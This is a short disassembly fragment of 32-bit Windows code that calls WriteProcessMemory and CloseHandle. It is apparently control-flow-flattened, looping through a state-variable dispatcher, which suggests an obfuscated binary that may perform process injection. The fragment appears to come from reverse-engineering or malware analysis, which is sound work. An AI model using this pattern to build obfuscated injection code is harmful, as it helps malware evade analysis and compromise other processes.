mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x1b8], 0x7e18f3b8
jmp 0x41199a
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0x194], eax
mov dword [ebp - 0x1b8], 0x4e86de5
jmp 0x41199a
mov dword [ebp - 0x1b8], 0xcd2e73f4
jmp 0x41199a
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0x1b8], 0xbec3d20c
jmp 0x41199a
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x1b8], 0xfff9f8de
jmp 0x41199a
mov eax, dword [ebp - 0x1c]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x1b8], 0x36eacd3e
jmp 0x41199a
jmp 0x40df59